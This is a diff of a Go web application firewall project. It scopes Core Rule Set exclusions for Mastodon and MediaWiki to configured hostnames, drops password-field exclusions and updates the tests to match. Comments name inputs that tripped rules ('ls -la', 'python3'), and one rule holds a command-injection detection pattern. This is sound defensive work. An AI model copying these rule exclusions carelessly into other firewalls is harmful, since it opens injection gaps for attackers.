"id:900640,phase:1,pass,nolog,\ "id:900640,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=920450;REQUEST_HEADERS_NAMES:Content-Range" ctl:ruleRemoveTargetById=920450;REQUEST_HEADERS_NAMES:Content-Range"
SecMarker END_GITEA
+10 -80
View File
@@ -1,4 +1,4 @@
# The twelfth change: on Mastodon's paths, some fields skip the rules that # Mastodon's fixes: on Mastodon's paths, some fields skip the rules that
# refused ordinary Mastodon requests there. They are the fields where Mastodon # refused ordinary Mastodon requests there. They are the fields where Mastodon
# sends a search, a name, a title, a file name, an address or free text. Each # sends a search, a name, a title, a file name, an address or free text. Each
# exclusion runs with the request, before the rules it switches off, so this # exclusion runs with the request, before the rules it switches off, so this
@@ -17,6 +17,13 @@
# 932250: ls -la # 932250: ls -la
# 932260: python3 # 932260: python3
# Unless SWW_APPS lists mastodon for the request's hostname, every rule below is
# skipped. Inspect sets tx.app_mastodon when it does.
# The skip reaches only phase 1, so a rule of a later phase must check
# tx.app_mastodon itself.
SecRule &TX:app_mastodon "@eq 0" \
"id:900940,phase:1,pass,nolog,skipAfter:END_MASTODON"
# The API's searches and names, in the query: # The API's searches and names, in the query:
# q: /api/v2/search?q=python3, /api/v1/accounts/search?q=ls+-la # q: /api/v2/search?q=python3, /api/v1/accounts/search?q=ls+-la
# acct: /api/v1/accounts/lookup?acct=python3 # acct: /api/v1/accounts/lookup?acct=python3
@@ -176,85 +183,6 @@ SecRule REQUEST_FILENAME "@streq /api/v1/accounts" \
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:json\.)?(?:password|reason)$/,\ ctl:ruleRemoveTargetById=932250;ARGS:/^(?:json\.)?(?:password|reason)$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:json\.)?(?:password|reason)$/" ctl:ruleRemoveTargetById=932260;ARGS:/^(?:json\.)?(?:password|reason)$/"
# The passwords named above skip each rule that random passwords set off.
SecRule REQUEST_FILENAME "@rx ^/(?:settings/(?:migration|delete)|auth)(?:/|$)" \
"id:900965,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/ "@eq 0" \
"ctl:ruleRemoveTargetById=920270;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
ctl:ruleRemoveTargetById=920540;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
ctl:ruleRemoveTargetById=921200;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
ctl:ruleRemoveTargetById=930100;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
ctl:ruleRemoveTargetById=930110;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
ctl:ruleRemoveTargetById=930120;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
ctl:ruleRemoveTargetById=932125;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
ctl:ruleRemoveTargetById=932130;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
ctl:ruleRemoveTargetById=932160;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
ctl:ruleRemoveTargetById=932230;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
ctl:ruleRemoveTargetById=932270;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
ctl:ruleRemoveTargetById=932280;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
ctl:ruleRemoveTargetById=932330;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
ctl:ruleRemoveTargetById=932340;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
ctl:ruleRemoveTargetById=932370;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
ctl:ruleRemoveTargetById=932380;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
ctl:ruleRemoveTargetById=933100;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
ctl:ruleRemoveTargetById=933135;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
ctl:ruleRemoveTargetById=933180;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
ctl:ruleRemoveTargetById=933210;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
ctl:ruleRemoveTargetById=941100;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
ctl:ruleRemoveTargetById=941120;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
ctl:ruleRemoveTargetById=941160;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
ctl:ruleRemoveTargetById=941180;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
ctl:ruleRemoveTargetById=942100;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
ctl:ruleRemoveTargetById=942151;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
ctl:ruleRemoveTargetById=942190;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
ctl:ruleRemoveTargetById=942230;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
ctl:ruleRemoveTargetById=942290;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
ctl:ruleRemoveTargetById=942320;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
ctl:ruleRemoveTargetById=942540;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
ctl:ruleRemoveTargetById=942550;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
ctl:ruleRemoveTargetById=944150;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/"
SecRule REQUEST_FILENAME "@streq /api/v1/accounts" \
"id:900966,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^(?:json\.)?password$/ "@eq 0" \
"ctl:ruleRemoveTargetById=920270;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=920540;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=921200;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=930100;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=930110;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=930120;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=932125;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=932130;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=932160;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=932230;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=932270;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=932280;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=932330;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=932340;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=932370;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=932380;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=933100;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=933135;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=933180;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=933210;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=941100;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=941120;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=941160;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=941180;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=942100;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=942151;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=942190;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=942230;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=942290;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=942320;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=942540;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=942550;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=944150;ARGS:/^(?:json\.)?password$/"
# The web app's reports have the JSON keys forward and forward_to_domains. A # The web app's reports have the JSON keys forward and forward_to_domains. A
# report forwarded to another server lists that server in forward_to_domains. # report forwarded to another server lists that server in forward_to_domains.
# Their names contain .forward, a file in a home folder, so 930120 refused every # Their names contain .forward, a file in a home folder, so 930120 refused every
@@ -295,3 +223,5 @@ SecRule REQUEST_FILENAME "@rx ^/auth(?:/|$)" \
"ctl:ruleRemoveTargetById=930120;ARGS:/^user\[email\]$/,\ "ctl:ruleRemoveTargetById=930120;ARGS:/^user\[email\]$/,\
ctl:ruleRemoveTargetById=932120;ARGS:/^user\[email\]$/,\ ctl:ruleRemoveTargetById=932120;ARGS:/^user\[email\]$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^user\[email\]$/" ctl:ruleRemoveTargetById=932260;ARGS:/^user\[email\]$/"
SecMarker END_MASTODON
+23 -60
View File
@@ -6,7 +6,6 @@ import (
"net/http" "net/http"
"net/url" "net/url"
"slices" "slices"
"strings"
"testing" "testing"
"sneak.berlin/go/smallwebwaf/internal/coreruleset" "sneak.berlin/go/smallwebwaf/internal/coreruleset"
@@ -58,7 +57,21 @@ const (
func TestOrdinaryMastodonRequestsPass(t *testing.T) { func TestOrdinaryMastodonRequestsPass(t *testing.T) {
t.Parallel() t.Parallel()
wantRecordedRequestsPass(t, "mastodon-requests.txt") wantRecordedRequestsPass(t, "mastodon-requests.txt", "mastodon")
}
func TestMastodonFixesApplyOnlyToAHostnameThatServesMastodon(t *testing.T) {
t.Parallel()
crs := servingApps(t, map[string][]string{
giteaHost: {gitea}, otherHost: {"mastodon"},
})
// A search, which only Mastodon's fixes let through.
search := get("/api/v2/search?q=python3")
wantResult(t, crs, withHost(search, otherHost), coreruleset.Result{})
wantResult(t, crs, withHost(search, giteaHost), matched(932260))
} }
// mastodonQueryFields sends each field that skips 930120, 932120, 932250 // mastodonQueryFields sends each field that skips 930120, 932120, 932250
@@ -130,6 +143,10 @@ var mastodonFormFields = []mastodonBodyField{
{http.MethodPost, "/settings/applications", "doorkeeper_application[website]="}, {http.MethodPost, "/settings/applications", "doorkeeper_application[website]="},
{http.MethodPost, "/settings/aliases", "account_alias[acct]="}, {http.MethodPost, "/settings/aliases", "account_alias[acct]="},
{http.MethodPost, "/settings/migration", "account_migration[acct]="}, {http.MethodPost, "/settings/migration", "account_migration[acct]="},
{http.MethodPost, mastodonSignIn, mastodonPassword},
{http.MethodPost, mastodonAccount, mastodonPassword},
{http.MethodPost, mastodonAccount, "user[password_confirmation]="},
{http.MethodPost, mastodonAccount, "user[current_password]="},
{http.MethodPost, mastodonAccount, "user[invite_request_attributes][text]="}, {http.MethodPost, mastodonAccount, "user[invite_request_attributes][text]="},
{http.MethodPost, "/admin/accounts/1/action", "admin_account_action[text]="}, {http.MethodPost, "/admin/accounts/1/action", "admin_account_action[text]="},
{http.MethodPost, "/admin/report_notes", "report_note[content]="}, {http.MethodPost, "/admin/report_notes", "report_note[content]="},
@@ -142,19 +159,6 @@ var mastodonFormFields = []mastodonBodyField{
{http.MethodPost, mastodonRoles, "user_role[name]="}, {http.MethodPost, mastodonRoles, "user_role[name]="},
{http.MethodPost, mastodonTerms, "terms_of_service[text]="}, {http.MethodPost, mastodonTerms, "terms_of_service[text]="},
{http.MethodPost, mastodonTerms, "terms_of_service[changelog]="}, {http.MethodPost, mastodonTerms, "terms_of_service[changelog]="},
{http.MethodPost, mastodonSignUp, "reason="},
}
// mastodonPasswordForms sends each password field in a form data body, on
// a path where it skips the four rules and the rules that random passwords
// set off.
//
//nolint:gochecknoglobals // a constant cannot be a list
var mastodonPasswordForms = []mastodonBodyField{
{http.MethodPost, mastodonSignIn, mastodonPassword},
{http.MethodPost, mastodonAccount, mastodonPassword},
{http.MethodPost, mastodonAccount, "user[password_confirmation]="},
{http.MethodPost, mastodonAccount, "user[current_password]="},
{http.MethodPost, "/settings/migration", "account_migration[current_password]="}, {http.MethodPost, "/settings/migration", "account_migration[current_password]="},
{ {
http.MethodPost, "/settings/migration/redirect", http.MethodPost, "/settings/migration/redirect",
@@ -162,14 +166,7 @@ var mastodonPasswordForms = []mastodonBodyField{
}, },
{http.MethodPost, "/settings/delete", "form_delete_confirmation[password]="}, {http.MethodPost, "/settings/delete", "form_delete_confirmation[password]="},
{http.MethodPost, mastodonSignUp, passwordField}, {http.MethodPost, mastodonSignUp, passwordField},
} {http.MethodPost, mastodonSignUp, "reason="},
// mastodonPasswordJSON sends the password of signing up through the API in
// a JSON body, with %s for its value.
//
//nolint:gochecknoglobals // a struct cannot be a constant
var mastodonPasswordJSON = mastodonBodyField{
http.MethodPost, mastodonSignUp, `{"password":%s}`,
} }
// mastodonJSONFields sends each field that skips the four rules in a JSON // mastodonJSONFields sends each field that skips the four rules in a JSON
@@ -195,6 +192,7 @@ var mastodonJSONFields = []mastodonBodyField{
{http.MethodPatch, mastodonProfile, `{"fields_attributes":[{"value":%s}]}`}, {http.MethodPatch, mastodonProfile, `{"fields_attributes":[{"value":%s}]}`},
{http.MethodPost, mastodonReports, `{"comment":%s}`}, {http.MethodPost, mastodonReports, `{"comment":%s}`},
{http.MethodPost, "/api/v1/accounts/1/note", `{"comment":%s}`}, {http.MethodPost, "/api/v1/accounts/1/note", `{"comment":%s}`},
{http.MethodPost, mastodonSignUp, `{"password":%s}`},
{http.MethodPost, mastodonSignUp, `{"reason":%s}`}, {http.MethodPost, mastodonSignUp, `{"reason":%s}`},
{http.MethodPost, "/inbox", `{"object":{"content":%s}}`}, {http.MethodPost, "/inbox", `{"object":{"content":%s}}`},
{http.MethodPost, mastodonInbox, `{"object":{"contentMap":{"en":%s}}}`}, {http.MethodPost, mastodonInbox, `{"object":{"contentMap":{"en":%s}}}`},
@@ -303,34 +301,6 @@ func TestMastodonAttacksAreRefusedInTheExcludedFields(t *testing.T) {
} }
} }
func TestMastodonPasswordsPass(t *testing.T) {
t.Parallel()
for _, sent := range mastodonPasswordForms {
t.Run(sent.target+" "+sent.field, func(t *testing.T) {
t.Parallel()
r := request{sent.method, sent.target, []string{formData}}
name := strings.TrimSuffix(sent.field, "=")
wantRandomPasswordsPass(t, r, name)
wantPasswordAttacksPass(t, r, name)
wantPasswordAttacksRefused(t, r, name)
})
}
t.Run("JSON", func(t *testing.T) {
t.Parallel()
r := request{mastodonPasswordJSON.method, mastodonPasswordJSON.target,
[]string{jsonBody}}
wantRandomPasswordsPass(t, r, "password")
wantPasswordAttacksPass(t, r, "password")
wantPasswordAttacksRefused(t, r, "password")
})
}
func TestMastodonCommandAttackIsRefusedOutsideAPost(t *testing.T) { func TestMastodonCommandAttackIsRefusedOutsideAPost(t *testing.T) {
t.Parallel() t.Parallel()
@@ -343,7 +313,7 @@ func TestMastodonCommandAttackIsRefusedOutsideAPost(t *testing.T) {
} }
} }
for _, sent := range slices.Concat(mastodonFormFields, mastodonPasswordForms) { for _, sent := range mastodonFormFields {
if mastodonForm(t, sent, commandInjection) < mastodonThreshold { if mastodonForm(t, sent, commandInjection) < mastodonThreshold {
t.Errorf("%v let through", sent) t.Errorf("%v let through", sent)
} }
@@ -354,8 +324,7 @@ func TestMastodonCommandAttackIsRefusedOutsideAPost(t *testing.T) {
t.Fatal(err) t.Fatal(err)
} }
passwordJSON := []mastodonBodyField{mastodonPasswordJSON} for _, sent := range mastodonJSONFields {
for _, sent := range slices.Concat(mastodonJSONFields, passwordJSON) {
if mastodonJSON(t, sent, attack) < mastodonThreshold { if mastodonJSON(t, sent, attack) < mastodonThreshold {
t.Errorf("%v let through", sent) t.Errorf("%v let through", sent)
} }
@@ -375,12 +344,6 @@ func TestMastodonHardValuesPassInTheExcludedFields(t *testing.T) {
t.Errorf("%s refused: %d", sent, score) t.Errorf("%s refused: %d", sent, score)
} }
} }
for _, sent := range mastodonPasswordForms {
if mastodonForm(t, sent, value) >= mastodonThreshold {
t.Errorf("%v with %s refused", sent, value)
}
}
} }
code := url.QueryEscape(mastodonCodePost) code := url.QueryEscape(mastodonCodePost)
+13 -82
View File
@@ -1,4 +1,4 @@
# The eleventh change: on MediaWiki's paths, some fields skip the rules that # MediaWiki's fixes: on MediaWiki's paths, some fields skip the rules that
# refused ordinary MediaWiki requests there. They are the fields where MediaWiki # refused ordinary MediaWiki requests there. They are the fields where MediaWiki
# sends a search, a title, a name, a file name, an address, a summary or a # sends a search, a title, a name, a file name, an address, a summary or a
# reason, and the fields that hold wikitext. Each exclusion runs with the # reason, and the fields that hold wikitext. Each exclusion runs with the
@@ -21,6 +21,13 @@
# 932250: ls -la # 932250: ls -la
# 932260: python3 # 932260: python3
# Unless SWW_APPS lists mediawiki for the request's hostname, every rule below
# is skipped. Inspect sets tx.app_mediawiki when it does.
# The skip reaches only phase 1, so a rule of a later phase must check
# tx.app_mediawiki itself.
SecRule &TX:app_mediawiki "@eq 0" \
"id:900890,phase:1,pass,nolog,skipAfter:END_MEDIAWIKI"
# The pages and their titles, the searches, and the special pages' fields # The pages and their titles, the searches, and the special pages' fields
# for a page, a user, a file or an address: # for a page, a user, a file or an address:
# title: /index.php?title=Python3_notes&action=history # title: /index.php?title=Python3_notes&action=history
@@ -108,86 +115,6 @@ SecRule REQUEST_FILENAME "@rx ^/(?:w/)?index\.php(?:$|/.)|^/wiki/" \
ctl:ruleRemoveTargetById=932250;ARGS:/^wp(?:summary|uploaddescription|name|password|oldtitle|newtitlemain|reason)$/,\ ctl:ruleRemoveTargetById=932250;ARGS:/^wp(?:summary|uploaddescription|name|password|oldtitle|newtitlemain|reason)$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^wp(?:summary|uploaddescription|name|password|oldtitle|newtitlemain|reason)$/" ctl:ruleRemoveTargetById=932260;ARGS:/^wp(?:summary|uploaddescription|name|password|oldtitle|newtitlemain|reason)$/"
# wpPassword, lgpassword and password skip each rule random passwords set off.
SecRule REQUEST_FILENAME "@rx ^/(?:w/)?index\.php(?:$|/.)|^/wiki/" \
"id:900917,phase:1,pass,nolog,chain"
SecRule REQUEST_FILENAME|ARGS_GET_NAMES "@rx ^/(?:w/)?index\.php/.|^/wiki/|^title$" "chain"
SecRule &ARGS_GET:wpPassword "@eq 0" \
"ctl:ruleRemoveTargetById=920270;ARGS:wpPassword,\
ctl:ruleRemoveTargetById=920540;ARGS:wpPassword,\
ctl:ruleRemoveTargetById=921200;ARGS:wpPassword,\
ctl:ruleRemoveTargetById=930100;ARGS:wpPassword,\
ctl:ruleRemoveTargetById=930110;ARGS:wpPassword,\
ctl:ruleRemoveTargetById=930120;ARGS:wpPassword,\
ctl:ruleRemoveTargetById=932125;ARGS:wpPassword,\
ctl:ruleRemoveTargetById=932130;ARGS:wpPassword,\
ctl:ruleRemoveTargetById=932160;ARGS:wpPassword,\
ctl:ruleRemoveTargetById=932230;ARGS:wpPassword,\
ctl:ruleRemoveTargetById=932250;ARGS:wpPassword,\
ctl:ruleRemoveTargetById=932260;ARGS:wpPassword,\
ctl:ruleRemoveTargetById=932270;ARGS:wpPassword,\
ctl:ruleRemoveTargetById=932280;ARGS:wpPassword,\
ctl:ruleRemoveTargetById=932330;ARGS:wpPassword,\
ctl:ruleRemoveTargetById=932340;ARGS:wpPassword,\
ctl:ruleRemoveTargetById=932370;ARGS:wpPassword,\
ctl:ruleRemoveTargetById=932380;ARGS:wpPassword,\
ctl:ruleRemoveTargetById=933100;ARGS:wpPassword,\
ctl:ruleRemoveTargetById=933135;ARGS:wpPassword,\
ctl:ruleRemoveTargetById=933180;ARGS:wpPassword,\
ctl:ruleRemoveTargetById=933210;ARGS:wpPassword,\
ctl:ruleRemoveTargetById=941100;ARGS:wpPassword,\
ctl:ruleRemoveTargetById=941120;ARGS:wpPassword,\
ctl:ruleRemoveTargetById=941160;ARGS:wpPassword,\
ctl:ruleRemoveTargetById=941180;ARGS:wpPassword,\
ctl:ruleRemoveTargetById=942100;ARGS:wpPassword,\
ctl:ruleRemoveTargetById=942151;ARGS:wpPassword,\
ctl:ruleRemoveTargetById=942190;ARGS:wpPassword,\
ctl:ruleRemoveTargetById=942230;ARGS:wpPassword,\
ctl:ruleRemoveTargetById=942290;ARGS:wpPassword,\
ctl:ruleRemoveTargetById=942320;ARGS:wpPassword,\
ctl:ruleRemoveTargetById=942540;ARGS:wpPassword,\
ctl:ruleRemoveTargetById=942550;ARGS:wpPassword,\
ctl:ruleRemoveTargetById=944150;ARGS:wpPassword"
SecRule REQUEST_FILENAME "@rx ^/(?:w/)?api\.php$" \
"id:900918,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^(?:lgpassword|password)$/ "@eq 0" \
"ctl:ruleRemoveTargetById=920270;ARGS:/^(?:lgpassword|password)$/,\
ctl:ruleRemoveTargetById=920540;ARGS:/^(?:lgpassword|password)$/,\
ctl:ruleRemoveTargetById=921200;ARGS:/^(?:lgpassword|password)$/,\
ctl:ruleRemoveTargetById=930100;ARGS:/^(?:lgpassword|password)$/,\
ctl:ruleRemoveTargetById=930110;ARGS:/^(?:lgpassword|password)$/,\
ctl:ruleRemoveTargetById=930120;ARGS:/^(?:lgpassword|password)$/,\
ctl:ruleRemoveTargetById=932125;ARGS:/^(?:lgpassword|password)$/,\
ctl:ruleRemoveTargetById=932130;ARGS:/^(?:lgpassword|password)$/,\
ctl:ruleRemoveTargetById=932160;ARGS:/^(?:lgpassword|password)$/,\
ctl:ruleRemoveTargetById=932230;ARGS:/^(?:lgpassword|password)$/,\
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:lgpassword|password)$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:lgpassword|password)$/,\
ctl:ruleRemoveTargetById=932270;ARGS:/^(?:lgpassword|password)$/,\
ctl:ruleRemoveTargetById=932280;ARGS:/^(?:lgpassword|password)$/,\
ctl:ruleRemoveTargetById=932330;ARGS:/^(?:lgpassword|password)$/,\
ctl:ruleRemoveTargetById=932340;ARGS:/^(?:lgpassword|password)$/,\
ctl:ruleRemoveTargetById=932370;ARGS:/^(?:lgpassword|password)$/,\
ctl:ruleRemoveTargetById=932380;ARGS:/^(?:lgpassword|password)$/,\
ctl:ruleRemoveTargetById=933100;ARGS:/^(?:lgpassword|password)$/,\
ctl:ruleRemoveTargetById=933135;ARGS:/^(?:lgpassword|password)$/,\
ctl:ruleRemoveTargetById=933180;ARGS:/^(?:lgpassword|password)$/,\
ctl:ruleRemoveTargetById=933210;ARGS:/^(?:lgpassword|password)$/,\
ctl:ruleRemoveTargetById=941100;ARGS:/^(?:lgpassword|password)$/,\
ctl:ruleRemoveTargetById=941120;ARGS:/^(?:lgpassword|password)$/,\
ctl:ruleRemoveTargetById=941160;ARGS:/^(?:lgpassword|password)$/,\
ctl:ruleRemoveTargetById=941180;ARGS:/^(?:lgpassword|password)$/,\
ctl:ruleRemoveTargetById=942100;ARGS:/^(?:lgpassword|password)$/,\
ctl:ruleRemoveTargetById=942151;ARGS:/^(?:lgpassword|password)$/,\
ctl:ruleRemoveTargetById=942190;ARGS:/^(?:lgpassword|password)$/,\
ctl:ruleRemoveTargetById=942230;ARGS:/^(?:lgpassword|password)$/,\
ctl:ruleRemoveTargetById=942290;ARGS:/^(?:lgpassword|password)$/,\
ctl:ruleRemoveTargetById=942320;ARGS:/^(?:lgpassword|password)$/,\
ctl:ruleRemoveTargetById=942540;ARGS:/^(?:lgpassword|password)$/,\
ctl:ruleRemoveTargetById=942550;ARGS:/^(?:lgpassword|password)$/,\
ctl:ruleRemoveTargetById=944150;ARGS:/^(?:lgpassword|password)$/"
# Wikitext: the edit form sends it in wpTextbox1, the API in text, appendtext # Wikitext: the edit form sends it in wpTextbox1, the API in text, appendtext
# or prependtext, and the REST API in the JSON field source. Each of these # or prependtext, and the REST API in the JSON field source. Each of these
# rules refused saving or previewing a page whose wikitext held a template, a # rules refused saving or previewing a page whose wikitext held a template, a
@@ -278,10 +205,12 @@ SecRule REQUEST_FILENAME "@rx ^/(?:w/)?index\.php(?:$|/.)|^/wiki/" \
# This rule is in phase 2, because a phase 1 rule runs before the body is read # This rule is in phase 2, because a phase 1 rule runs before the body is read
# and cannot see what wpTitles holds. It checks that the body sends wpTitles # and cannot see what wpTitles holds. It checks that the body sends wpTitles
# once, since it would otherwise skip these rules for a second wpTitles # once, since it would otherwise skip these rules for a second wpTitles
# holding a command. # holding a command. It checks tx.app_mediawiki, since the skip above does not
# reach phase 2.
SecRule REQUEST_FILENAME "@rx ^/(?:w/)?index\.php(?:$|/.)|^/wiki/" \ SecRule REQUEST_FILENAME "@rx ^/(?:w/)?index\.php(?:$|/.)|^/wiki/" \
"id:900916,phase:2,pass,nolog,chain" "id:900916,phase:2,pass,nolog,chain"
SecRule REQUEST_FILENAME|ARGS_GET_NAMES "@rx ^/(?:w/)?index\.php/.|^/wiki/|^title$" "chain" SecRule REQUEST_FILENAME|ARGS_GET_NAMES "@rx ^/(?:w/)?index\.php/.|^/wiki/|^title$" "chain"
SecRule &TX:app_mediawiki "@eq 1" "chain"
SecRule &ARGS_GET:wpTitles "@eq 0" "chain" SecRule &ARGS_GET:wpTitles "@eq 0" "chain"
SecRule &ARGS_POST:wpTitles "@eq 1" "chain" SecRule &ARGS_POST:wpTitles "@eq 1" "chain"
SecRule ARGS_POST:wpTitles "!@rx [;|&`{]" \ SecRule ARGS_POST:wpTitles "!@rx [;|&`{]" \
@@ -290,3 +219,5 @@ SecRule REQUEST_FILENAME "@rx ^/(?:w/)?index\.php(?:$|/.)|^/wiki/" \
ctl:ruleRemoveTargetById=932235;ARGS:wpTitles,\ ctl:ruleRemoveTargetById=932235;ARGS:wpTitles,\
ctl:ruleRemoveTargetById=932260;ARGS:wpTitles,\ ctl:ruleRemoveTargetById=932260;ARGS:wpTitles,\
ctl:ruleRemoveTargetById=932380;ARGS:wpTitles" ctl:ruleRemoveTargetById=932380;ARGS:wpTitles"
SecMarker END_MEDIAWIKI
+55 -40
View File
@@ -3,13 +3,17 @@ package coreruleset_test
import ( import (
"net/http" "net/http"
"slices" "slices"
"strings"
"testing" "testing"
"sneak.berlin/go/smallwebwaf/internal/coreruleset"
) )
